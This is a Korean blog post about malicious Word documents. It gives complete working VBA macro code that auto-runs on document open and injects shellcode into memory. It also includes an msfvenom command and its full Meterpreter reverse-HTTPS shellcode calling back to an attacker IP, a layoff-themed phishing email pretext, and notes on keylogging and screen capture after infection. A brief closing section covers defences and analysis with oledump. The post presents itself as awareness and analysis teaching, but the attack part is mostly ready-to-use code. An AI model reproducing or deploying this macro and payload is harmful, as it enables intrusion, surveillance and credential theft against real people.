상세 컨텐츠

본문 제목

Word 파일 속에 악성코드. 공격과 방어 방법

악성코드 Malware

by 0xmh 2022. 5. 19. 19:12

본문

728x90

!!! 여러분이 저의 블로그 읽으시고 얻으신 지식으로 뭐 하실지 그 책임은 저에게 없음을 알려드립니다. 여러분이 책임을 지셔야 합니다!!!!

(비디오도 같이 있는데 티스토리는 업로드 안 돼서 저의 네이버 블로그 확인해주시기 바랍니다!)

https://blog.naver.com/maxhin/222587409533

 

안녕하세요~ 오늘은 모의 침투를 하지 않고, 악성 word 파일을 만들어서 윈도우 머신을 해킹해 보겠습니다! 그다음에 방어 방법과 Microsoft Office 파일을 어떻게 분석할 수 있는지에 대해서 알려 드리겠습니다!

제가 요즘 해킹 공부를 안 할 때 악성코드 분석을 재밌게 공부하는데 얼마 전에 다시 부활한 emotet이라는 악성코드 유포되고 있어서 저의 블로그를 읽으시는 여러분들께 word 파일을 열었다가 해킹 당하는 것이 얼마나 쉬운 일인지 보여드리고 싶습니다.

그래서 오늘 할 것은요!

1) 악성 word 파일을 만들기

2) Meterpreter 셸을 받아서 keylogger 출동 시키며 피해자 스크린 캡처 찍기

3) 보호 방법과 office 파일 분석 방법

아마 이렇게 생각하시는 분들이 계시겠죠..? "아 근데 모르는 사람이 나한테 보낸 파일을 당연히 안 열지... 누가 그런 거 열어...?"

네, 인정합니다. 당연히 모르는 사람이 보낸 파일을 열면 안 되지요. 하지만 다음 social engineering 공격을 한번 봅시다:

a) 우리는 일반 회사원인데 요즘 회사 적자가 많이 나서 몇몇 직원들이 해고당하다.

b) 아주 큰 회사라서 상황이 안 좋다는 것이 뉴스에서 나왔기 때문에, 우리하고 경쟁하는 회사나 다른 나라 국정원 (북한, 중국 등) 그 사실도 알고 있다.

c) 우리도 해고당할 사람들 중에 하나일지도 모른다.

d) 다음 날 아침에 우리에게 이메일이 "잘못" 왔다 (당연히 잘못 아니지요, 우리를 해킹하기 위해 일부러 우리한테 보낸 거겠죠):

"안녕하세요 팀장님,

아시다시피 요즘 회사의 상황이 매우 안 좋으므로 직원을 여러 명은 회사를 떠나야 합니다.

그 직원들의 성함 및 다른 다양한 정보는 파일을 참고하십시오.

저희에게도 쉬운 선택이 아니었으나 어쩔 수 없는 상황입니다"

자~ 생각해 보세요 여러분. 몇 주 동안 우리가 잘릴지 안 잘릴지 긴장되고 잠도 못 자는데 갑자기 그런 이메일이 우리에게 "실수"로 오면 열 것 같아요, 안 열 것 같아요? 저의 생각에는 여는 사람이 많을 것 같습니다.

제가 말하는 것이 믿기가 힘들 것 같다면 다음 트위터 프로필을 한번 봐 보세요. 북한 해커들이 대학교 교수, 대기업 회사원을 공격하는 기록입니다.

https://twitter.com/cyberwar_15

오케이, 그럼 이제는 악성 word 파일을 한번 만들어 봅시다!

1) 악성 word 파일을 만들기

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long
    
    buf = Array()

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
 

 

위에 있는 악성코드는 아주아주 간단한 예시입니다. Windows API 활용해서 악성코드를 process에 삽입하는 것입니다. 코드가 매우 쉬워서 Windows API 함수에 대해서만 알려 드리겠습니다. 간단하게 요약해 드리자면 VirtualAlloc을 사용하여 쓰기, 읽기 및 실행 가능한 관리되지 않는 메모리를 할당할 것입니다. 그런 다음 셸코드를 RtlMoveMemory로 새로 할당된 메모리에 복사하고 셸 코드를 실행하기 위해 CreateThread를 통해 프로세스에서 새 실행 스레드를 실행합니다.

1) VirtualAlloc()

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD flAllocationType,
  DWORD flProtect
);

lpAddress는 메모리 위치를 정할 수 있는데 "0"를 입력하면 API가 혼자 알아서 정한다.

dwSize: 메모리 할당의 크기.

flAllocationType, flProtect: 할당 type 하고 메모리 보호 (read write excute)

2) RtlMoveMemory()

VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
VOID UNALIGNED *Source,
SIZE_T Length
);

메모리를 할당했으니 그 위치에 이제 shellcode를 삽입해야 합니다. 이제 실행시킬 준비가 다 됐습니다.

3) CreateThread()

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

변수가 많긴 한데 굳이 정하지 않아도 되는 변수들이 몇 개 있습니다. lpStartAddress 빼고 다 "0"

lpStartAddress: 우리 셸코드 buffer 메모리 주소

위에 있는 코드를 보고 아직 셸코드 없지요? 간단하게 msfvenom으로 만들 수 있습니다!

모의 침투에서도 msfvenom 조금 써봤지만 여기서도 씁시다.

LHOST: 공격자 아이피

LPORT: 포트 정하기. 마음대로 정할 수 있다

-f: 중요한 부분이다! word 파일을 만들기 때문에 vbapplication 사용해야 된다. (예를 들어 C# 앱은 당연히 -f csharp 등)

EXITFUNC=thread: 이 방법은 공격당한 프로세스가 하위 스레드에서 셸 코드를 실행하고 이 스레드를 종료하면 응용 프로그램/시스템이 작동되는 대부분의 공격 시나리오에서 사용된다.

msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.2.4 LPORT=5678 EXITFUNC=thread -f vbapplication
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 535 bytes
Final size of vbapplication file: 1837 bytes
buf = Array(232,143,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20,15,183,74,38,139,114,40,49,255,49,192,172,60,97,124,2,44,32,193,207,13,1,199,73,117,239,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192,116,76,1,208,80,139,88,32,1,211,139,72,24,133,201,116,60,73,49, _
255,139,52,139,1,214,49,192,193,207,13,172,1,199,56,224,117,244,3,125,248,59,125,36,117,224,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18,233,128,255,255,255,93,104,110,101,116,0,104,119,105,110,105,84, _
104,76,119,38,7,255,213,49,219,83,83,83,83,83,232,62,0,0,0,77,111,122,105,108,108,97,47,53,46,48,32,40,87,105,110,100,111,119,115,32,78,84,32,54,46,49,59,32,84,114,105,100,101,110,116,47,55,46,48,59,32,114,118,58,49,49,46,48,41,32,108,105,107,101,32,71,101,99,107,111, _
0,104,58,86,121,167,255,213,83,83,106,3,83,83,104,46,22,0,0,232,224,0,0,0,47,95,53,55,106,102,119,65,76,83,100,49,83,51,70,80,100,77,51,65,48,48,81,52,105,118,56,106,90,66,107,66,81,86,57,99,87,95,121,81,102,109,71,89,72,86,110,51,108,74,80,112,115,66,104,49, _
121,121,70,111,103,107,122,70,49,65,83,73,104,102,79,113,80,50,111,119,69,99,83,116,0,80,104,87,137,159,198,255,213,137,198,83,104,0,50,232,132,83,83,83,87,83,86,104,235,85,46,59,255,213,150,106,10,95,104,128,51,0,0,137,224,106,4,80,106,31,86,104,117,70,158,134,255,213,83,83, _
83,83,86,104,45,6,24,123,255,213,133,192,117,20,104,136,19,0,0,104,68,240,53,224,255,213,79,117,205,232,69,0,0,0,106,64,104,0,16,0,0,104,0,0,64,0,83,104,88,164,83,229,255,213,147,83,83,137,231,87,104,0,32,0,0,83,86,104,18,150,137,226,255,213,133,192,116,207,139,7, _
1,195,133,192,117,229,88,195,95,232,107,255,255,255,49,48,46,48,46,50,46,52,0,187,224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,83,255,213)

다 준비됐습니다! 이제 word를 열어서 파일을 만들어 봅시다. 제가 사용하는 word는 영어라 한국어로 된 버전이 다를 수도 있으니 비디오를 꼭 참고해 주세요!!!

word에서 위에 있는 view --> 오른쪽 Macros --> View Macros --> Create --> 코드 넣기 --> .docm 파일로 저장

우리가 만들 셸코드 reverse shell이라 meterpreter 사용합시다.

windows 머신에서 Enable Macros를 누르고 셸을 받는다!! 해킹 성공!

2) Meterpreter 셸을 받아서 keylogger 출동 시키며 피해자 스크린 캡처 찍기

쟈~ 우리는 일반 셸코드를 말고 meterpreter 셸코드를 사용했기 때문에 post-exploitation 기능을 많이 쓸 수 있습니다! 피해자 화면 캡처, keylogger, 마이크와 카메라를 켜기 등! 무섭죠? 피해자 "생방송"까지도 볼 수 있습니다... 비디오를 한번 보세요 :)

3) 보호 방법과 office 파일 분석 방법

근데 여러분 걱정하지 마세요!!!! 해킹 가능한 이유는 제가 Windows Defender를 꺼서였습니다!! 보호가 아예 없었다는 뜻입니다!!

위에 있는 코드는 매우 간단하기 때문에 모든 antivirus 가 이 코드는 악성코드인 것을 바로 눈지 채고 삭제합니다! 하지만 더 숙련된 코드와 똑같은 콘셉트입니다. 해커들은 악성코드 검사 소프트웨어를 피하기 위해 코드를 암호화하고, VirtualAlloc보다 더 "low level" API를 사용하고, 아니면 wannacry 악성코드 경우에는 0day까지 사용할 때도 있습니다. 0day exploit에 대한 patch가 없기 때문에 보호 방법도 없습니다. 그러니까 word 아니면 excel 파일을 항상 조심합시다!

Microsoft Office 파일을 분석하기 위한 좋은 tool은 oletools하고 oledump.py 입니다!

oledump.py -s 5 testing.docm 라고 실행시키면 다음 output를 받습니다.

보시다시피 악성용으로 썼던 Windows API들이 다 나와 있네요. VirtualAlloc, RtlMoveMemory 등. 암호화 시키지 않기 때문에 바로 눈에 보입니다.

다음 사진은 제가 요즘 듣고 있는 강의에서 분석한 악성 excel 파일의 사진입니다

여기는 왼쪽에 Suspicious가 보이시죠? 수상한 것들 중에 ShellExecute, Shell32가 있네요. Excel 파일은 왜 .exe 파일이나 명령어를 실행시킬까요? 확실히 수상하지요.

오늘은 Windows API를 활용하면서 어떻게 악성 word 파일을 만들 수 있는지를 배웠고, 분석 방법도 배웠습니다. 오늘은 원래 하는 모의 침투와 매우 달랐지만 앞으로도 악성코드 분석에 대한 글을 올릴 예정입니다. 모의 침투는 모의 침투와 offensive security에 관심이 있는 사람만 보겠지만, 악성코드 분석과 보호 방법에 대한 지식은 누구에게나 중요하다고 생각합니다. Emotet가 대한민국도 공격하기 시작했기 때문에 오늘은 꼭 악성코드 분석을 하고 싶었습니다.

오늘도 읽어 주셔서 감사합니다!

0xmh

관련글 더보기